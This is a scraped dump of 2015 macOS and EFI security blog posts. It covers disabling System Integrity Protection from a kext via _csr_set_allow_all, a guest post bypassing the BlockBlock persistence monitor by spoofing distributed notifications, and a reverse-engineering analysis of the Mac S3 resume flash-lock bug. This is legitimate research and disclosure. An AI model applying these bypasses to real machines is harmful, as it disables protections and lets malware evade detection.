that it is really important its issues start to be fixed. We need to start building trustable foundations and not try to solve everything in software on top of platforms we can’t really trust.\nLast conference for the year is No cON Name happening in Barcelona next December.\nFor next year I already got something that hopefully I’ll be able to present at SyScan360 Singapore. Their CFP is open and you should definitely think about submitting.\nThere were minor changes between 44CON and SyScan360/Code Blue slides. The latter included more references than 44CON version and minor fixes.\nHave fun,\nfG!\nSlides:\n44Con 2015 – Efi Monsters.pdf\nSyScan360 2015 – Efi Monsters.pdf\nCodeBlue 2015 – Efi Monsters.pdf\n","permalink":"https://reverse.put.as/2015/11/06/london-and-asia-efi-monsters-tour/","summary":"Finally back home from China and Japan tour, so it’s time to finally release the updated slides about EFI Monsters. After Secuinside I updated them a bit, fixing stuff I wasn’t happy with and adding some new content.\nThe updated version was first presented at 44CON London. I had serious reservations about going to the UK (not even in transit!) but Steve Lord and Adrian charm convinced me to give it a try.","title":"London and Asia EFI monsters tour!"},{"content":"El Capitan is finally released and System Integrity Protection aka SIP aka rootless is finally a reality we must face. Let me briefly describe SIP (technical details maybe in another post, now that El Capitan is final and out of NDAs). This post by Rich Trouton contains a very good description of its userland implementation and configuration.\nWhat is SIP anyway? The description that I like to use is that SIP is a giant system-wide sandbox, that controls access to what Apple considers critical files and folders. One of the reasons for this is that most of kernel side SIP implementation exists into the Sandbox.kext, the same TrustedBSD kernel extension that implements OS X sandbox mechanism.\nFor example, if we try to write to /System folder we get the following result:\nsh-3.2# touch /System/test touch: /System/test: Operation not permitted And in system logs:\n12/10/15 17:27:20,650 sandboxd[120]: ([424]) touch(424) System Policy: deny file-write-create /System/test In practice it means that even with root access we are unable to modify those critical files and folders.\nBut, how are updates possible? Apple created a few new private entitlements (only available to binaries signed with Apple certificates) that allow binaries that have them to modify the files and folders. This is one of the possible attack points against SIP – find a vulnerability in the right entitled binary and you can do whatever you want to the system.\nCan SIP be disabled? Yes, there is an util called csrutil that can be used to update its settings. It must be run in Recovery or Install mode. Once again refer to Rich Trouton’s post for more details.\nAre there any other ways to disable it? Yes. If we are able to run kernel code we can disable SIP. For example, we can mess with the TrustedBSD hooks and remove them out of the way. Or attack the hook decision engine and always authorize, and so on. Once you are able to run code at the same privilege lowest level that exists in the machine there’s very few that can protect you, if anything (reference, PatchGuard kernel implementation by Microsoft, bypassed a few times and which is starting to move to hypervisor level).\nThis doesn’t mean that SIP is necessarily a bad idea. Apple’s goal is to increase the amount of work required by an attacker and reduce attack surface. The problem with this strategy are too many issues in OS X kernel, but that’s another discussion.\nHacking is mostly about posing questions that break out someone’s else assumptions. So the other day I was thinking if there was an easier way to disable SIP other than attacking the hooks and so on (I did that before on beta releases). Because there is an option that is read from NVRAM about disabling SIP, this gives us a signal that there is a kernel decision somewhere about enabling/disabling SIP (because EFI has nothing to do on this decision). Essentially we are chasing either a variable or a classical cracking je/jne decision.\nHow is csrutil implemented? If we disassemble csrutil we will see the following flow:\ncsrutil -\u0026gt; csr_get_active_config() -\u0026gt; _csrctl() -\u0026gt; syscall 0x1E3 -\u0026gt; csrctl()\nSo essentially there’s a new syscall 0x1E3 that implements a new function csrctl in the kernel, that csrutil uses to retrieve the active SIP configuration. If there’s info about active configuration there’s information somewhere about its status. And this info can be found at address 0xFFFFFF8000ACFF48 (XNU 10.11.0 build 15A284). There are a few references to this address, all from functions with interesting and very descriptive names. If you disassemble them you will understand that this variable will be the jackpot we were looking for. It will enable or disable SIP.\nTo make something runtime we just need to find the address of this variable and modify it as we wish to disable or enable SIP. To find its location we can disassemble the simplest function that references it and find its value, or just hardcode it.\nIs there an easy way? Of course there is, else this question would be meaningless. Look at the function names…\nFFFFFF80007835C0 public _csr_set_allow_all FFFFFF80007835C0 _csr_set_allow_all proc near FFFFFF80007835C0 push rbp FFFFFF80007835C1 mov rbp, rsp FFFFFF80007835C4 test edi, edi FFFFFF80007835C6 setnz al FFFFFF80007835C9 movzx eax, al FFFFFF80007835CC mov cs:dword_FFFFFF8000ACFF48, eax FFFFFF80007835D2 pop rbp FFFFFF80007835D3 retn FFFFFF80007835D3 _csr_set_allow_all endp This function does exactly what we are looking for. It will modify the SIP status based on the value that we pass on its argument. To disable SIP call it with 1, to enable with 0. The function has zero references inside the kernel, meaning that either no other function is calling it or a function pointer is used. It can be found in the Private.kext kernel KPI.\nTo use this function in a kext, we either solve the symbol ourselves (the solution I used), or just link against the Private KPI (I’m not sure if this would make kextd reject loading the kext for some reason – haven’t poked around the new kextd yet).\nA fully working kext and small GUI app to control it can be found here.\nFirst you need to manually load the kernel extension and then you can start the GUI and connect to the kernel extension. Then you can disable and enable SIP as you wish.\nWhile this function is not a security vulnerability (once again we don’t really need it to disable SIP, it just makes everything easier and cleaner) it’s not clear that Apple would allow a binary distribution of this kernel extension. This means that you will need yourself a kernel code signing certificate to sign your own version, if you wish to use this. Some games could be played to make sure this was moderately secure against abuse by malware. Still it’s not good enough to risk company certificate on this (maybe worth it to risk $99 and give it a try on a personal certificate).\nAnyway, it’s purpose is more to developers and expert users that know what they are doing and don’t want to reboot their machines for testing stuff.\nI forgot one interesting detail in the original post. Disabling SIP this way doesn’t kill its log feature, meaning that you can still find in the logs who tried to write to those unauthorized folders.\n12/10/15 22:14:38,304 sandboxd[120]: ([466]) touch(466) System Policy: allow file-write-create /System/test My SentinelOne colleague Julien-Pierre created a menu item that will load the kext and enable/disable it. I’ll add it to the project soon.\nMany thanks to SentinelOne’s Assaf for the name suggestion, better than my original rootful.\nGreetings to Apple security related teams boys and girls 😄.\nAnd say thank you to SentinelOne for my time.\nEnjoy,\nfG!\nP.S.: The blog is a bit messed up. WordPress f*cked up somewhere and things are a bit shaky. Will try to fix or evaluate alternatives.\nP.S.2: It’s an happy day today, fuck off the right wing parties in Portugal. Hopefully it’s a bye bye you fucking morons. \u0026lt;/political rant\u0026gt;\n","permalink":"https://reverse.put.as/2015/10/12/rootfool-a-small-tool-to-dynamically-disable-and-enable-sip-in-el-capitan/","summary":"El Capitan is finally released and System Integrity Protection aka SIP aka rootless is finally a reality we must face. Let me briefly describe SIP (technical details maybe in another post, now that El Capitan is final and out of NDAs). This post by Rich Trouton contains a very good description of its userland implementation and configuration.\nWhat is SIP anyway? The description that I like to use is that SIP is a giant system-wide sandbox, that controls access to what Apple considers critical files and folders.","title":"Rootfool – a small tool to dynamically disable and enable SIP in El Capitan"},{"content":"The following is a guest post by noar (@noarfromspace), a long time friend.\nIt shows some simple attacks against BlockBlock, a software developed by Patrick Wardle that monitors OS X common persistence locations for potential malware. The other day noar was telling me about a few bypasses he had found so I invited him to write a guest post.\nThe title is obviously playing with one of Patrick’s presentations. I met Patrick at Shakacon last year and this is not an attempt to shame him (that is reserved mostly for Apple ;-)). It just illustrates the problems of building defensive tools and how much trust you put on them. By personal experience I can tell you that building a security product is a much harder task than what you might think initially.\nDisclaimer: we both work for an endpoint software company. Together with another colleague I wrote an OS X version from scratch. I know very well the insane amount of problems that need to be solved, and they never end. When you build something you are always at mercy of potential security problems, we are no exception. Humans make mistakes. Offense is way easier.\nAnyway, enjoy it and hopefully learn something new!\nThank you noar!\nfG!\nI remember those days when there were only 3 or 4 security software editors for OS X. As the threat counts increased, the market grew up too. Many products are now selling you a feeling of being secure: most of them are post-mortem detection tools, and none is re-inventing the security paradigm.\nThis dinosaur fight left some room for an altruistic new hype: free – but not open source – security tools. Should we trust them blindly?\nI am dedicating this post to HGDB, a former colleague and friend. Your sudden departure is leaving us in an infinite sadness. May you rest in peace.\nBlockBlock New utilities are emerging to free the user from major companies subscription fees, like the recently acquired Adware Medic or Objective-See tools KnockKnock and BlockBlock. So I had interest in reversing Patrick Wardle’s BlockBlock, a self-proclaimed continual runtime protection.\nBlockBlock has a weird design: the main binary is running both as a daemon and as an agent. The daemon waits for persistency related filesystem events and notifies the agent. The agent displays an alert and reports a user action to the daemon.\nOn the day BlockBlock was released, I pointed out several design flaws and how we can abuse them:\nlocal privilege escalation, or how to fool installation process and enjoy being launched as root (issue quickly addressed, see change log). insecure interprocess communication, using NSDistributedNotificationCenter. user interface can be unloaded, by design. Insecure interprocess communication As Apple clearly states in the developer documentation:\n\u0026ldquo;IMPORTANT\nNSDistributedNotificationCenter does not implement a secure communications protocol. When using distributed notifications, your app should treat any data passed in the notification as untrusted. See Security Overview for general guidance on secure coding practices.\u0026rdquo;*\nIn practice, it’s trivial to observe all distributed notifications, by setting notificationName to nil:\nNSDistributedNotificationCenter *center = [NSDistributedNotificationCenter defaultCenter]; [center addObserver:self selector:@selector(fyi:) name:nil object:nil suspensionBehavior:NSNotificationSuspensionBehaviorDeliverImmediately]; Let’s snoop on daemon and agent distributed notifications, using notifyi, a very simple command line tool.\nFirst, the daemon posts a shouldDisplayAlertNotification notification with a 16MB processIcon and an universal unique identifier watchEventUUID:\n2015-08-07 00:27:43.859 notifyi[365:3025] __CFNotification 0x7fcc53d00270 {name = shouldDisplayAlertNotification; userInfo = { alertMsg = \u0026#34;installed a launch daemon or agent\u0026#34;; itemBinary = \u0026#34;/Users/noar/.launchd.app/Contents/MacOS/launchd\u0026#34;; itemFile = \u0026#34;/Users/noar/Library/LaunchAgents/apple.launchd.plist\u0026#34;; itemName = \u0026#34;apple.launchd\u0026#34;; parentID = 1; pluginType = 2; processHierarchy = ( { index = 0; name = \u0026#34;kernel_task\u0026#34;; pid = 0; }, { index = 1; name = launchd; pid = 1; }, { index = 2; name = launchd; pid = 368; } ); processID = 368; processIcon = \u0026lt;REDACTED\u0026gt;; processLabel = launchd; processName = launchd; processPath = \u0026#34;/Users/noar/.launchd.app/Contents/MacOS/launchd\u0026#34;; targetUID = 501; watchEventUUID = \u0026#34;7EADEED3-2E17-4060-AF9B-3B37357A07D6\u0026#34;; }} Then, the agent alerts the user and posts a shouldHandleAlertNotification notification with the same watchEventUUID and the action to take:\n2015-08-07 00:28:07.740 notifyi[365:3025] __CFNotification 0x7fcc53d00820 {name = shouldHandleAlertNotification; userInfo = { action = 0; remember = 0; watchEventUUID = \u0026#34;7EADEED3-2E17-4060-AF9B-3B37357A07D6\u0026#34;; }} What was blocked?\nIn this example, I pressed the Block button, and BlockBlock deleted the reported launchd.plist file:\n$ find ~/Library/LaunchAgents -type f /Users/noar/Library/LaunchAgents/com.objectiveSee.blockblock.plist But, amazingly, process 368 is still running:\n$ ps -p 368 PID TTY TIME CMD 368 ?? 0:00.57 /Users/noar/.launchd.app/Contents/MacOS/launchd BlockBlock didn’t unload the agent or kill the process. The threat will run until the user logs out (the sample used here is OSX.Icefog.A).\nProof of Concept To bypass BlockBlock, we can simply unload the agent. We can also wait for an alert and silently whitelist us until the daemon restarts:\nobserve shouldDisplayAlertNotification notification. unload BlockBlock launch agent. post shouldHandleAlertNotification notification with Allow and Remember to daemon. reload BlockBlock launch agent. The menu item quits and reopens, without alert. Proof of concept source code is avaible here (BlockBlock branch).\nSo, what do we learn here? First, every software you install, including those to protect your computer, increases its attack surface.\n[fG!] Joxean Koret demonstrated how true this is in the past two years with his breaking AVs presentations. Just recently Symantec had similar issues on their EndPoint protection software. This is nothing new, people just keep forgetting this fact.\nSecond, we have to learn from mistakes: BlockBlock is not the only security software that uses distributed notifications.\nLast but not least, providing quality service for nothing can’t be a one person job. To save users from trusting security vendors, InfoSec free tools should be open source, so a strong community has the possibility to audit and improve them.\n[fG!] Trust is a key problem in InfoSec, even with open source tools. Everyone trusts someone else is doing an audit and most of the times that never happens. There are also many times assumptions that are never made clear or that users do not understand and/or care about them.\n","permalink":"https://reverse.put.as/2015/08/07/writing-bad-lamware-for-os-x/","summary":"The following is a guest post by noar (@noarfromspace), a long time friend.\nIt shows some simple attacks against BlockBlock, a software developed by Patrick Wardle that monitors OS X common persistence locations for potential malware. The other day noar was telling me about a few bypasses he had found so I invited him to write a guest post.\nThe title is obviously playing with one of Patrick’s presentations. I met Patrick at Shakacon last year and this is not an attempt to shame him (that is reserved mostly for Apple ;-)).","title":"Writing Bad @$$ Lamware for OS X"},{"content":"I guess my goal for the remaining 2015 of not doing any presentations will not happen. Two weeks ago I presented at BSides Lisbon 2015 and last week at SECUINSIDE 2015.\nI’m very happy to see BSides Lisbon returning after the first edition in 2013. Congrats to Bruno, Tiago, and the rest of the team for making it happen. It’s still a small conference but I’m glad they are making it happen, and I will always do my best to help the Portuguese scene going forward. Everything went pretty well and met some new cool guys. I hope the conference returns in 2016 and keeps growing. Maybe someday it can mutate into something independent of BSides and on its own. Portugal is a great country for conferences, I’m just not the right person to start one, but I’ll definitely help my best anyone who wants to give it a shot.\nThe presentation is the same as CodeBlue and SyScan since the CFP happened a few months ago. Nothing new in the slides, a fix here and there.\nThe next was SECUINSIDE in Seoul. This is a very special conference to me because it was the first ever conference I presented at, back in 2012. I never had any plans to ever present at security conferences. I liked my low profile and this blog was good enough to spread the knowledge I wanted to. But I try to be flexible and always open to new adventures, so at the time I accepted HiTCON invitation (they were the first ones) and then SECUINSIDE’s invitation. SECUINSIDE was happening first so at the time I created a different presentation. It was a crazy trip because I did a Porto – Seoul roundtrip, and four days later I went to Taiwan. That was some crazy jetlag!\nSo this year I went back to SECUINSIDE. Thanks to beist, Ryan, trimo, and everyone else for the great time in Seoul. The presentation is a new one, made in just a week. It’s essentially an introduction to EFI reverse engineering and hunting for EFI rootkits.\nI received yesterday the good news that I was accepted to do the same presentation at 44Con. This is great and I will have enough time to improve the slides. Probably add some new content and tools, since there is good stuff expected out of Thunderstrike 2 presentation.\nAnd here they are:\nBSides Lisbon 2015 – BadXNU, A rotten apple!\nSECUINSIDE 2015 – Is there an EFI monster inside your apple?\nAs usual, enjoy and have fun.\nfG!\n","permalink":"https://reverse.put.as/2015/07/21/bsides-lisbon-and-secuinside-2015-presentations/","summary":"I guess my goal for the remaining 2015 of not doing any presentations will not happen. Two weeks ago I presented at BSides Lisbon 2015 and last week at SECUINSIDE 2015.\nI’m very happy to see BSides Lisbon returning after the first edition in 2013. Congrats to Bruno, Tiago, and the rest of the team for making it happen. It’s still a small conference but I’m glad they are making it happen, and I will always do my best to help the Portuguese scene going forward.","title":"BSides Lisbon and SECUINSIDE 2015 presentations"},{"content":"The suspend/resume vulnerability disclosed a few weeks ago (named Prince Harming by Katie Moussouris) turned out to be a zero day. While (I believe) its real world impact is small, it is nonetheless a critical vulnerability and (another) spectacular failure from Apple. It must be noticed that firmware issues are not Apple exclusive. For example, Gigabyte ships their UEFI with the flash always unlocked and other vendors also suffer from all kinds of firmware vulnerabilities.\nAs I wrote in the original post, I found the vulnerability a couple of months ago while researching different ways to reset a Mac firmware password. At the time, I did not research the source of the bug due to other higher priority tasks. One of the reasons for its full disclosure was the assumption that Apple knew about this problem since newer machines were not vulnerable. So the main question after the media storm was if my assumption was wrong or not and what was really happening inside Apple’s EFI.\nThe bug is definitely not related to a hardware failure and can be fixed with a (simple) firmware update. The initial assumptions pointing to some kind of S3 boot script failure were correct.\nApparently, Apple did not follow Intel’s recommendation and failed to lock the flash protections (and also SMRR registers) after the S3 suspend cycle. The necessary information is not saved, so the locks will not be restored when the machine wakes up from sleep.\nThis also allows finding which Mac models are vulnerable to this bug.\nAll machines based on Ivy Bridge, Sandy Bridge (and maybe older) platforms are vulnerable. This includes the newest Mac Pro since its Xeon E5 CPU is still based on Ivy Bridge platform. All machines based on Haswell or newer platforms are not vulnerable.\nNow let’s jump to the technical part and understand why the bug occurs. I am also going to show you how to build a temporary fix.\n0 – The ACPI S3 sleep feature The ACPI (Advanced Configuration and Power Interface) specification defines a few system power states and transitions. One of those is the S3 state, which is a power saving feature that suspends to memory, meaning that the current operating system state is held in memory. On this mode there is still power usage but it’s vastly reduced. It is mostly used in notebook computers (closed lid) and its performance is important since users expect their computer to wake up from sleep in a (very) short period of time. If it took the same time as a normal boot, there would be no advantages in using it (battery power consumption for example). In practice, this means that the resume path is a special boot path that differs from the normal boot path.\nThe key difference is a performance optimization materialized in a boot script. It can contain the following chipset and processor information:\nI/O PCI Memory System Management Bus (SMBus) Other specific operations or routines that are necessary to restore the chipset and processor configuration Instead of reinitializing everything again, the boot script will restore the machine to the same configuration without executing again the whole DXE phase, which is time consuming. Script execution will be faster than restarting and reinitializing all the necessary drivers, as it happens in a regular boot path. Sample contents of a boot script will be shown later.\nThe following picture from the EFI documentation describes the differences between the normal and S3 boot phases.\nA description of each phase – SEC (Security), PEI (Pre-EFI Initialization), DXE (Driver Execution Environment), BDS (Boot Device Selection) – can be found here. The DXE phase is where most of the initialization work is performed (there are some 150 DXE drivers in EFI firmware), so this is the main reason why the boot script is important for a fast resume from sleep cycle (EFI documents from 2003 describe that Microsoft requires a maximum of 0.5 seconds for the S3 resume). It is on the DXE phase that the boot script is created on normal boot path, meaning that the script is created once on a normal boot. The script is stored in physical memory and this is the main reason why the Dark Jedi attack described at CCC 2014 is possible.\n1 – Relevant documentation EFI (Extensible Firmware Interface) specification was published by Intel. It was followed by the UEFI (Unified Extensible Firmware Interface) managed by the Unified EFI Forum (www.uefi.org). Apple forked from EFI v1.10 (Dec 2002) and introduced some changes, for example support for fat EFI binaries (support for both 32-bit and 64-bit systems). Recent OS X versions are 64-bit only so this feature is not used anymore.\nThe most relevant EFI documents for this post are:\nEFI Boot Script Specification v0.91 EFI S3 Resume Boot Path Specification v0.9 EFI Driver Execution Environment Core Interface Spec v0.91 EFI Firmware File System Specification v0.9 EFI Firmware Volume Specification v0.9 EFI Pre-EFI Initialization Core Interface Specification v0.91 EFI Capsule Specification v0.9 Extensible Firmware Interface Specification v1.10 Reference websites:\nPhoenix Bios Wiki EDK EDK2 Source code UEFI documentation LegbaCore (great BIOS/EFI/UEFI research papers) Relevant papers, presentations and blog posts:\nExploiting UEFI boot script table vulnerability Attacks on UEFI security, inspired by Darth Venamis’s misery and Speed Racer Thunderstrike Tools and utilities:\nUEFITool and UEFIExtract IDA EFI Utils UEFI firmware parser CHIPSEC 2 – What’s inside the flash? The EFI contents are stored in a flash memory chip that also contains Intel Management Engine (ME) and other data. The two most used chips on newer Macs are the Micron N25Q064A and Macronix MX25L6405. They are easy to identify on Mac motherboards, while in some models they are easily accessible (such as MacBook Pro Retina) and others they require extensive disassembly (such as MacBook Pro 8,2 and MacBook Air). The following picture shows the location on a MacBook Pro Retina 10,1(original image from iFixit.com):\nIf extensive disassembly is required, the iFixIt.com teardown guides are a great reference. From what I see in teardown pictures of the newest MacBook (the gold, silver model), it appears that those flash chips are no longer used. I do not own this model, so no clue where the EFI image is stored.\nBoth chips use SPI, meaning that a SPI reader/writer such as the one introduced by Trammell Hudson can be used to read and write its contents. This is the best and safest way to do it and you should definitely get or build one if you plan to do EFI research.\nScreenshot of UEFITool processing one of my flash dumps:\nPartial output of my own tool with some extra information regarding each firmware volume:\n---[ EFI Root Firmware Volumes Distribution ]--- #01 @ offset 0x190000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #02 @ offset 0x330000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #03 @ offset 0x360000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #04 @ offset 0x600000 - E3B980A9-5FE3-48E5-9B92-2798385A9027 #05 @ offset 0x610000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #06 @ offset 0x620000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #07 @ offset 0x630000 - 153D2197-29BD-44DC-AC59-887F70E41A6B - Microcode #08 @ offset 0x650000 - 153D2197-29BD-44DC-AC59-887F70E41A6B - Microcode #09 @ offset 0x670000 - FFF12B8D-7696-4C8B-A985-2747075B4F50 - NVRAM #10 @ offset 0x6a0000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #11 @ offset 0x740000 - 7A9354D9-0468-444A-81CE-0BF617D890DF #12 @ offset 0x7e0000 - 04ADEEAD-61FF-4D31-B6BA-64F8BF901F5A - Boot Volume #13 @ offset 0x7f0000 - 04ADEEAD-61FF-4D31-B6BA-64F8BF901F5A - Boot Volume The flash contents are organized into firmware volumes. Some volumes contain the binaries for the different SEC, PEI, DXE phases, while others CPU microcode. One of the volumes is dedicated to the NVRAM and this is where you will find boot settings, crash logs, wifi password, etc.\nIt is also possible to use the scap files available on EFI firmware updates published by Apple. UEFITool is able to process and extract the files. You can find firmware updates for newer machines on Yosemite updates.\nIt is important to notice that everything is identified by a GUID (globally unique identifier). These are 128-bit values that identify everything instead of filenames.\nThe EFI and UEFI specifications define many GUIDs, for example to identify firmware volumes, but there are also many vendor-only GUIDs not published anywhere. Apple firmware is not an exception and contains a few proprietary GUIDs that require reversing to understand their purpose. In this case, Google is your ally, but also EDK/EDK2 sources, and EFI/UEFI documentation. Good GUID compilations can be found here and here.\nThe contents of a file can be compressed as shown below. Apple uses LZMA algorithm.\nEach file contains sections. In the above example, we have a PEI dependency section (basically information about the load order and dependencies of each binary) and a compressed section containing a TE binary (Terse Executable).\nA file can also encapsulate another firmware volume as the next screenshot shows:\nThe conclusion is that the contents of a firmware volume are very flexible and can encapsulate a lot of different information. Lucky for us, UEFITool is quite good at dealing with all this and makes it very easy to modify the contents of each volume.\n3 – Executable file types Two types of executable file types can be found: PE32/PE32+ and TE. PE32 is Portable Executable, the same type used in Windows, while TE is Terse Executable, which is nothing more than a stripped version of PE32. The reason is to reduce the overhead of PE headers. The TE format is used by SEC/PEI phase binaries, while DXE phase binaries are PE32/PE32+.\nIDA is able to load TE binaries but it contains critical bugs that make the disassembly output mostly unusable. Snare described how he built his own IDAPython TE loader for older IDA versions. It doesn’t work with newer TE binaries without some fixes. Since I’m not a Python fan, I coded my own loader in C that also tries to locate and name known GUIDs. For now I do not intent to release it so you should go and nag Hex-Rays for support.\nAlso important to point is that most of the strings are in Unicode format (2 bytes) so keep this in mind while searching for strings. A few binaries contain useful strings but don’t expect to find many. The EDK/EDK2 sources are quite useful as reference.\nAnother extremely useful resource is the AMI Bios code leak. For obvious reasons, I can’t link to the leaked archive but it’s not very hard to find around the web. It contains closed source code that the EDK/EDK2 releases don’t and it’s extremely useful to speed up the reversing process.\n4 – EFI binaries reversing tips and tricks In EFI/UEFI world there are no standard libraries that export commonly used functions. Instead, function pointers stored in service tables are used. All service tables have the same structure, EFI_TABLE_HEADER:\ntypedef struct { UINT64 Signature; UINT32 Revision; UINT32 HeaderSize; UINT32 CRC32; UINT32 Reserved; } EFI_TABLE_HEADER; The header is followed by the services (functions) available in that table. The following is the structure for EFI_RUNTIME_SERVICES. These are the EFI services available after the operating system takes control.\ntypedef struct { EFI_TABLE_HEADER Hdr; EFI_GET_TIME GetTime; EFI_SET_TIME SetTime; EFI_GET_WAKEUP_TIME GetWakeupTime; EFI_SET_WAKEUP_TIME SetWakeupTime; EFI_SET_VIRTUAL_ADDRESS_MAP SetVirtualAddressMap; EFI_CONVERT_POINTER ConvertPointer; EFI_GET_VARIABLE GetVariable; EFI_GET_NEXT_VARIABLE_NAME GetNextVariableName; EFI_SET_VARIABLE SetVariable; EFI_GET_NEXT_HIGH_MONO_COUNT GetNextHighMonotonicCount; EFI_RESET_SYSTEM ResetSystem; EFI_UPDATE_CAPSULE UpdateCapsule; EFI_QUERY_CAPSULE_CAPABILITIES QueryCapsuleCapabilities; EFI_QUERY_VARIABLE_INFO QueryVariableInfo; } EFI_RUNTIME_SERVICES; For example:\nGetTime\n\u0026ldquo;Returns the current time and date, and the time-keeping capabilities of the platform.\u0026rdquo;\nHow are these service tables found by EFI binaries?\nLet’s use the DXE phase binaries as an example. The entrypoint prototype for a DXE is described in the EFI Driver Execution Environment Core Interface Spec document:\ntypedef EFI_STATUS (*EFI_IMAGE_ENTRY_POINT)( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ); The EFI_SYSTEM_TABLE is another structure where the Boot Services and RunTime Services table pointers can be found. Let’s translate all this into a real DXE binary to see things go.\n0000000000000579 public start 0000000000000579 start proc near 0000000000000579 0000000000000579 var_20 = qword ptr -20h 0000000000000579 var_18 = byte ptr -18h 0000000000000579 0000000000000579 push rbp 000000000000057A mov rbp, rsp 000000000000057D push rsi 000000000000057E push rdi 000000000000057F sub rsp, 30h 0000000000000583 mov rsi, rdx 0000000000000586 mov rdi, rcx 0000000000000589 mov rcx, rdi 000000000000058C mov rdx, rsi 000000000000058F call GetSystemTables (...) This is the entrypoint function for a random DXE binary. The first call is very common in these binaries and usually looks like this:\n0000000000000240 GetSystemTables proc near ; CODE XREF: start+16\u0019p 0000000000000240 mov cs:SystemTable, rdx 0000000000000247 mov rax, [rdx+60h] 000000000000024B mov cs:BootServices, rax 0000000000000252 mov rax, [rdx+58h] 0000000000000256 mov cs:RunTimeServices, rax 000000000000025D xor eax, eax 000000000000025F retn 000000000000025F GetSystemTables endp This function retrieves the pointers to Boot and Runtime Services tables and stores them for future usage. Some binaries retrieve the same tables in different functions (weird compiler optimizations?) while others access them directly at the entrypoint function. You can easily recognize these two tables by the 0x68 and 0x58 offsets. Next is a sample function using the Boot Services function LocateProtocol to locate a specific protocol:\n00000000000002BD locate_bootscript_save_protocol proc near ; CODE XREF: start+21p 00000000000002BD push rbp 00000000000002BE mov rbp, rsp 00000000000002C1 sub rsp, 20h 00000000000002C5 mov rax, [rdx+60h] 00000000000002C9 lea rcx, gEfiBootScriptSaveProtocolGuid 00000000000002D0 lea r8, Boot_Script_Save_Interface 00000000000002D7 xor edx, edx 00000000000002D9 call qword ptr [rax+140h] ; BootServices-\u0026gt;LocateProtocol() 00000000000002DF test rax, rax 00000000000002E2 jns short loc_2FE 00000000000002E4 mov rcx, 8000000000000014h 00000000000002EE cmp rax, rcx 00000000000002F1 jz short loc_2FE 00000000000002F3 mov cs:Boot_Script_Save_Interface, 0 00000000000002FE 00000000000002FE loc_2FE: ; CODE XREF: locate_bootscript_save_protocol+25j 00000000000002FE ; locate_bootscript_save_protocol+34j 00000000000002FE xor eax, eax 0000000000000300 add rsp, 20h 0000000000000304 pop rbp 0000000000000305 retn 0000000000000305 locate_bootscript_save_protocol endp PEI binaries use a different table, EFI_PEI_SERVICES implemented by the PEI Foundation. The concept is the same, locate the table and access services via function pointers. The previously linked Snare’s EFI utils are helpful for reversing, it tries to locate the tables, translate the function pointers to meaningful names and also name known GUIDs. The scripts are not perfect but can be helpful. Binary grep is also very helpful to mass locate GUIDs since there are some 200+ binaries on each dump.\nVery important are the calling conventions used.\nFor 32-bit binaries the calling convention is the standard C calling convention (arguments passed on the stack).\nFor 64-bit binaries Microsoft’s x64 calling convention is used (arguments passed via RCX, RDX, R8, R9, stack). The stack must be aligned in a 16-byte boundary, and a 32-byte shadow space must be reserved on the stack above the return address. This means that we will see the first stack argument starting at offset 0x20.\nSEC and PEI phase binaries are 32-bit (16-bit code also found for CPU initialization) and DXE binaries are 64-bit.\n5 – Protocols and PPIs The EDK reference manual defines protocol as:\nA protocol is a data structure that associates:\na GUID (naming it in an unique manner); possibly an interface, that is a collection of function pointers and/or public data. So a protocol may be seen as the public definitions (or a sub-part of the public definitions) of a C++ class, or as a Java interface. A data structure can be associated to the GUID, it generally made of one or more function pointers (the protocol’s functions), and/or public data fields.”\nA driver installs one or more protocols that can then be located and used by any other driver. Remember that there is no standard library to link against, so protocols (and PPIs) do this work. The following is an example of a protocol used in S3 sleep feature:\n#define EFI_ACPI_S3_SAVE_GUID { 0x125f2de1, 0xfb85, 0x440c, 0xa5, 0x4c, 0x4d, 0x99, 0x35, 0x8a, 0x8d, 0x38 } typedef EFI_STATUS (EFIAPI *EFI_ACPI_S3_SAVE)( IN EFI_ACPI_S3_SAVE_PROTOCOL * This, IN VOID * LegacyMemoryAddress ); typedef EFI_STATUS (EFIAPI *EFI_ACPI_GET_LEGACY_MEMORY_SIZE)( IN EFI_ACPI_S3_SAVE_PROTOCOL * This, OUT UINTN * Size ); typedef struct _EFI_ACPI_S3_SAVE_PROTOCOL { EFI_ACPI_GET_LEGACY_MEMORY_SIZE GetLegacyMemorySize; EFI_ACPI_S3_SAVE S3Save; } EFI_ACPI_S3_SAVE_PROTOCOL; This protocol provides two functions, GetLegacyMemorySize and S3Save. The latter is the function that prepares all the information that is needed in the S3 resume boot path. It will internally use another protocol EFI_BOOT_SCRIPT_SAVE_PROTOCOL, calling CloseTable() that is responsible for storing the boot script in NVS (non-volatile storage).\nIf we want to locate the driver that publishes this protocol, we can binary grep for this protocol GUID and find all the drivers that install and use it. In this case, it is expected that only a single driver calls S3Save.\nThe best way to find protocol definitions are the EFI/UEFI documentation and EDK/EDK2 source code.\nIn the PEI phase we can find PPIs (PEIM-to-PEIM Interface). For sake of simplicity, lets assume that they are equivalent to protocols in terms of functionality. From the same EDK Reference Manual:\nPEIM-to-PEIM interfaces are a mechanism, similar to the protocols, that is used to facilitate the communication between two PEIMs. The principle is roughly the same:\nPPIs are “named” with a GUID. PPIs have an optional data structure containing function pointers and data” Sample PEI phase code from EDK2 using LocatePpi service:\nEFI_STATUS EFIAPI CapsulePpiNotifyCallback ( IN EFI_PEI_SERVICES **PeiServices, IN EFI_PEI_NOTIFY_DESCRIPTOR *NotifyDescriptor, IN VOID *Ppi ) { EFI_STATUS Status; EFI_BOOT_MODE BootMode; PEI_CAPSULE_PPI *Capsule; Status = (*PeiServices)-\u0026gt;GetBootMode((const EFI_PEI_SERVICES **)PeiServices, \u0026amp;BootMode); ASSERT_EFI_ERROR (Status); if (BootMode == BOOT_ON_S3_RESUME) { // // Determine if we\u0026#39;re in capsule update mode // Status = (*PeiServices)-\u0026gt;LocatePpi ((const EFI_PEI_SERVICES **)PeiServices, \u0026amp;gPeiCapsulePpiGuid, 0, NULL, (VOID **)\u0026amp;Capsule ); if (Status == EFI_SUCCESS) { if (Capsule-\u0026gt;CheckCapsuleUpdate ((EFI_PEI_SERVICES**)PeiServices) == EFI_SUCCESS) { BootMode = BOOT_ON_FLASH_UPDATE; Status = (*PeiServices)-\u0026gt;SetBootMode((const EFI_PEI_SERVICES **)PeiServices, BootMode); 